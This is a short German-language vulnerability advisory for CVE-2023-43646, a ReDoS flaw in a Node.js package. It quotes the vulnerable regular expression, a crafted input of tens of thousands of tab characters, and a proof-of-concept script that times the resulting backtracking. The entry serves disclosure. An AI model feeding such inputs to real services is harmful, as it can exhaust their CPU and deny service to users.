
redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS im node.js-Paket
Teil des rebob-Projekts
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
Diese Schwachstelle kann ausgenutzt werden, wenn ein Ungleichgewicht in den Klammern vorliegt, was zu übermäßigem Backtracking führt und anschließend die CPU-Last und die Verarbeitungszeit erheblich erhöht. Diese Schwachstelle kann mit folgender Eingabe ausgelöst werden:
'\t'.repeat(54773) + '\t/function/i'
Hier ist ein einfacher PoC-Code zur Demonstration des Problems:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");